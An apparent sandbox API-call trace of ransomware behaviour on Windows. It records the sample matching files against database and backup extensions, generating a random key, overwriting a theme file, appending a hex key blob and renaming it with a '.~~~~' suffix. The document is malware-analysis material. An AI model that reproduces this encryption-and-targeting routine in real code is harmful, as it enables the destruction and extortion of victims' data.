	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".msc") returned 0x0
	[0085.810] lstrlenW (lpString=".com") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".com") returned 0x0
	[0085.810] lstrlenW (lpString=".lnk") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".lnk") returned 0x0
	[0085.810] lstrlenW (lpString=".msp") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".msp") returned 0x0
	[0085.810] lstrlenW (lpString=".pif") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".pif") returned 0x0
	[0085.810] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.811] lstrlenW (lpString=".sqb") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".sqb") returned 0x0
	[0085.811] lstrlenW (lpString=".ost") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".ost") returned 0x0
	[0085.811] lstrlenW (lpString=".txt") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".txt") returned 0x0
	[0085.811] lstrlenW (lpString=".mdt") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".mdt") returned 0x0
	[0085.811] lstrlenW (lpString=".BDB") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".BDB") returned 0x0
	[0085.811] lstrlenW (lpString=".eql") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".eql") returned 0x0
	[0085.811] lstrlenW (lpString=".DBF") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DBF") returned 0x0
	[0085.811] lstrlenW (lpString=".EQL") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".EQL") returned 0x0
	[0085.811] lstrlenW (lpString=".FDB") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".FDB") returned 0x0
	[0085.811] lstrlenW (lpString=".EDB") returned 4
	[0085.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".EDB") returned 0x0
	[0085.812] lstrlenW (lpString=".DACPAC") returned 7
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.812] lstrlenW (lpString=".VHD") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".VHD") returned 0x0
	[0085.812] lstrlenW (lpString=".DBV") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DBV") returned 0x0
	[0085.812] lstrlenW (lpString=".dacpac") returned 7
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dacpac") returned 0x0
	[0085.812] lstrlenW (lpString=".sdf") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".sdf") returned 0x0
	[0085.812] lstrlenW (lpString=".accdb") returned 6
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".accdb") returned 0x0
	[0085.812] lstrlenW (lpString=".DBX") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DBX") returned 0x0
	[0085.812] lstrlenW (lpString=".MDT") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".MDT") returned 0x0
	[0085.812] lstrlenW (lpString=".SQB") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".SQB") returned 0x0
	[0085.812] lstrlenW (lpString=".vhd") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".vhd") returned 0x0
	[0085.812] lstrlenW (lpString=".bac") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".bac") returned 0x0
	[0085.812] lstrlenW (lpString=".mdf") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".mdf") returned 0x0
	[0085.812] lstrlenW (lpString=".BAK") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".BAK") returned 0x0
	[0085.812] lstrlenW (lpString=".BAC") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".BAC") returned 0x0
	[0085.812] lstrlenW (lpString=".dbs") returned 4
	[0085.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dbs") returned 0x0
	[0085.812] lstrlenW (lpString=".vhdx") returned 5
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".vhdx") returned 0x0
	[0085.813] lstrlenW (lpString=".NDF") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".NDF") returned 0x0
	[0085.813] lstrlenW (lpString=".dat") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dat") returned 0x0
	[0085.813] lstrlenW (lpString=".DBS") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DBS") returned 0x0
	[0085.813] lstrlenW (lpString=".CKP") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".CKP") returned 0x0
	[0085.813] lstrlenW (lpString=".edb") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".edb") returned 0x0
	[0085.813] lstrlenW (lpString=".PST") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".PST") returned 0x0
	[0085.813] lstrlenW (lpString=".dbf") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dbf") returned 0x0
	[0085.813] lstrlenW (lpString=".SQL") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".SQL") returned 0x0
	[0085.813] lstrlenW (lpString=".pst") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".pst") returned 0x0
	[0085.813] lstrlenW (lpString=".dbv") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dbv") returned 0x0
	[0085.813] lstrlenW (lpString=".SDF") returned 4
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".SDF") returned 0x0
	[0085.813] lstrlenW (lpString=".dtxs") returned 5
	[0085.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dtxs") returned 0x0
	[0085.814] lstrlenW (lpString=".db3") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".db3") returned 0x0
	[0085.814] lstrlenW (lpString=".OST") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".OST") returned 0x0
	[0085.814] lstrlenW (lpString=".dbx") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dbx") returned 0x0
	[0085.814] lstrlenW (lpString=".DB3") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DB3") returned 0x0
	[0085.814] lstrlenW (lpString=".DAT") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DAT") returned 0x0
	[0085.814] lstrlenW (lpString=".VHDX") returned 5
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".VHDX") returned 0x0
	[0085.814] lstrlenW (lpString=".ndf") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".ndf") returned 0x0
	[0085.814] lstrlenW (lpString=".DB") returned 3
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DB") returned 0x0
	[0085.814] lstrlenW (lpString=".sql") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".sql") returned 0x0
	[0085.814] lstrlenW (lpString=".MYD") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".MYD") returned 0x0
	[0085.814] lstrlenW (lpString=".DBT") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DBT") returned 0x0
	[0085.814] lstrlenW (lpString=".ACCDB") returned 6
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.814] lstrlenW (lpString=".fdb") returned 4
	[0085.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".fdb") returned 0x0
	[0085.814] lstrlenW (lpString=".bak") returned 4
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".bak") returned 0x0
	[0085.815] lstrlenW (lpString=".myd") returned 4
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".myd") returned 0x0
	[0085.815] lstrlenW (lpString=".DTXS") returned 5
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".DTXS") returned 0x0
	[0085.815] lstrlenW (lpString=".ckp") returned 4
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".ckp") returned 0x0
	[0085.815] lstrlenW (lpString=".dbt") returned 4
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dbt") returned 0x0
	[0085.815] lstrlenW (lpString=".db") returned 3
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".db") returned 0x0
	[0085.815] lstrlenW (lpString=".TXT") returned 4
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".TXT") returned 0x0
	[0085.815] lstrlenW (lpString=".MDF") returned 4
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".MDF") returned 0x0
	[0085.815] lstrlenW (lpString=".bdb") returned 4
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".bdb") returned 0x0
	[0085.815] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.815] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.816] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.816] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0085.816] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20580663353) returned 1
	[0085.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9cf70350, dwHighDateTime=0x1d60e1e)) 
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2bb8
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2bb8 | out: hHeap=0x300000) returned 1
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aba08
	[0085.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0085.817] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.817] GetLastError () returned 0x0
	[0085.817] GetLastError () returned 0x0
	[0085.817] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.818] GetLastError () returned 0x0
	[0085.818] GetLastError () returned 0x0
	[0085.820] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffefe20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.820] WriteFile (in: hFile=0x124, lpBuffer=0x2875ff0*, nNumberOfBytesToWrite=0x101e0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2875ff0*, lpNumberOfBytesWritten=0x24dfec0*=0x101e0, lpOverlapped=0x0) returned 1
	[0085.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2875ff0 | out: hHeap=0x300000) returned 1
	[0085.821] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.821] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.821] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.821] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.821] CloseHandle (hObject=0x124) returned 1
	[0085.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.821] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.~~~~")) returned 1
	[0085.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.822] GetLastError () returned 0x0
	[0085.824] RtlWakeConditionVariable () returned 0x365f70
	[0085.824] GetCurrentThreadId () returned 0x3a4
	[0085.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".scr") returned 0x0
	[0085.824] lstrlenW (lpString=".cmd") returned 4
	[0085.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".cmd") returned 0x0
	[0085.824] lstrlenW (lpString=".dll") returned 4
	[0085.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dll") returned 0x0
	[0085.824] lstrlenW (lpString=".bat") returned 4
	[0085.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".bat") returned 0x0
	[0085.825] lstrlenW (lpString=".cpl") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".cpl") returned 0x0
	[0085.825] lstrlenW (lpString=".sys") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".sys") returned 0x0
	[0085.825] lstrlenW (lpString=".msc") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".msc") returned 0x0
	[0085.825] lstrlenW (lpString=".com") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".com") returned 0x0
	[0085.825] lstrlenW (lpString=".lnk") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".lnk") returned 0x0
	[0085.825] lstrlenW (lpString=".msp") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".msp") returned 0x0
	[0085.825] lstrlenW (lpString=".pif") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".pif") returned 0x0
	[0085.825] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.825] lstrlenW (lpString=".sqb") returned 4
	[0085.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".sqb") returned 0x0
	[0085.826] lstrlenW (lpString=".ost") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".ost") returned 0x0
	[0085.826] lstrlenW (lpString=".txt") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".txt") returned 0x0
	[0085.826] lstrlenW (lpString=".mdt") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".mdt") returned 0x0
	[0085.826] lstrlenW (lpString=".BDB") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".BDB") returned 0x0
	[0085.826] lstrlenW (lpString=".eql") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".eql") returned 0x0
	[0085.826] lstrlenW (lpString=".DBF") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DBF") returned 0x0
	[0085.826] lstrlenW (lpString=".EQL") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".EQL") returned 0x0
	[0085.826] lstrlenW (lpString=".FDB") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".FDB") returned 0x0
	[0085.826] lstrlenW (lpString=".EDB") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".EDB") returned 0x0
	[0085.826] lstrlenW (lpString=".DACPAC") returned 7
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DACPAC") returned 0x0
	[0085.826] lstrlenW (lpString=".VHD") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".VHD") returned 0x0
	[0085.826] lstrlenW (lpString=".DBV") returned 4
